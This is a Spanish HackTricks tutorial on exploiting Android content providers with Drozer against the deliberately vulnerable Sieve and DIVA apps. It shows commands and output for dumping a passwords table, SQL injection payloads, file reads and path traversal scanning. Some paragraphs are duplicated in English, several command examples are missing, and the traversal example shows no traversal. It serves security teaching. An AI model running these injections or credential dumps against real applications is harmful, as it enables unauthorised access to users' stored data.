13 KiB
Explotando Proveedores de Contenido
Explotando Proveedores de Contenido
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Introducción
Un componente proveedor de contenido proporciona datos de una aplicación a otras a petición. Dichas solicitudes son manejadas por los métodos de la clase ContentResolver. Un proveedor de contenido puede utilizar diferentes formas de almacenar sus datos y los datos pueden estar almacenados en una base de datos, en archivos, o incluso a través de una red.
Debe ser declarado dentro del archivo Manifest.xml. Ejemplo:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
En este caso, es necesario el permiso READ_KEYS
para acceder a content://com.mwr.example.sieve.DBContentProvider/Keys
. (También, observe que en la siguiente sección vamos a acceder a /Keys/
que no está protegido, esto se debe a que el desarrollador se confundió y protegió /Keys
pero declaró /Keys/
)
Tal vez puedas acceder a datos privados o explotar alguna vulnerabilidad (Inyección SQL o Traversal de Ruta).
Obtener información de proveedores de contenido expuestos
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Podemos reconstruir parte de las URI del contenido para acceder al DBContentProvider, porque sabemos que deben comenzar con "content://" y la información obtenida por Drozer dentro de Path: /Keys.
Drozer puede adivinar y probar varias URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
También debes revisar el código del ContentProvider para buscar consultas:
Además, si no puedes encontrar consultas completas, puedes verificar qué nombres son declarados por el ContentProvider en el método onCreate
:
La consulta será como: content://nombre.del.paquete.clase/nombre_declarado
Content Providers respaldados por bases de datos
Probablemente la mayoría de los Content Providers se utilizan como interfaz para una base de datos. Por lo tanto, si puedes acceder a ella, podrías ser capaz de extraer, actualizar, insertar y eliminar información.
Revisa si puedes acceder a información sensible o intenta cambiarla para burlar los mecanismos de autorización.
Al revisar el código del Content Provider, busca también funciones con nombres como: query, insert, update y delete:
Porque podrás llamarlas.
Consulta de contenido
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Insertar contenido
Al consultar la base de datos, aprenderás el nombre de las columnas, luego podrás insertar datos en la base de datos:
Nota que en insert y update puedes usar --string para indicar una cadena, --double para indicar un doble, --float, --integer, --long, --short, --boolean
Actualizar contenido
Conociendo el nombre de las columnas, también puedes modificar las entradas:
Eliminar contenido
Inyección SQL
Es fácil probar la inyección SQL (SQLite) manipulando los campos de proyección y selección que se pasan al proveedor de contenido.
Al consultar el proveedor de contenido hay 2 argumentos interesantes para buscar información: --selection y --projection:
Puedes intentar abusar de estos parámetros para probar las inyecciones SQL:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Descubrimiento automático de SQLInjection por Drozer
Drozer has a module called scanner.provider.sqlinjection
that can be used to automatically discover SQL injection vulnerabilities in content providers. This module sends a series of SQL injection payloads to the target content provider and analyzes the responses to determine if a vulnerability exists.
Drozer tiene un módulo llamado scanner.provider.sqlinjection
que se puede utilizar para descubrir automáticamente vulnerabilidades de inyección SQL en proveedores de contenido. Este módulo envía una serie de cargas útiles de inyección SQL al proveedor de contenido objetivo y analiza las respuestas para determinar si existe una vulnerabilidad.
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Proveedores de contenido respaldados por el sistema de archivos
Los proveedores de contenido también se pueden utilizar para acceder a archivos:
Leer archivo
Puedes leer archivos desde el proveedor de contenido.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Traversing de Ruta
Si puedes acceder a archivos, puedes intentar abusar de una Traversing de Ruta (en este caso no es necesario, pero puedes intentar usar "../" y trucos similares).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Descubrimiento automático de Traversal de ruta por Drozer
Drozer has a module that can be used to automatically discover Path Traversal vulnerabilities in Content Providers. The module is called scanner.provider.traversal
and it can be used as follows:
Drozer tiene un módulo que se puede utilizar para descubrir automáticamente vulnerabilidades de Traversal de ruta en los proveedores de contenido. El módulo se llama scanner.provider.traversal
y se puede utilizar de la siguiente manera:
dz> run scanner.provider.traversal <authority>
Where <authority>
is the authority of the Content Provider to be scanned. For example:
Donde <authority>
es la autoridad del proveedor de contenido que se va a escanear. Por ejemplo:
dz> run scanner.provider.traversal content://com.example.provider
The module will automatically try to discover Path Traversal vulnerabilities by sending requests to the Content Provider with different traversal patterns. If a vulnerability is found, the module will report it and provide details about the affected Content Provider and the vulnerable URI.
El módulo intentará automáticamente descubrir vulnerabilidades de Traversal de ruta enviando solicitudes al proveedor de contenido con diferentes patrones de Traversal. Si se encuentra una vulnerabilidad, el módulo la informará y proporcionará detalles sobre el proveedor de contenido afectado y la URI vulnerable.
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Referencias
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.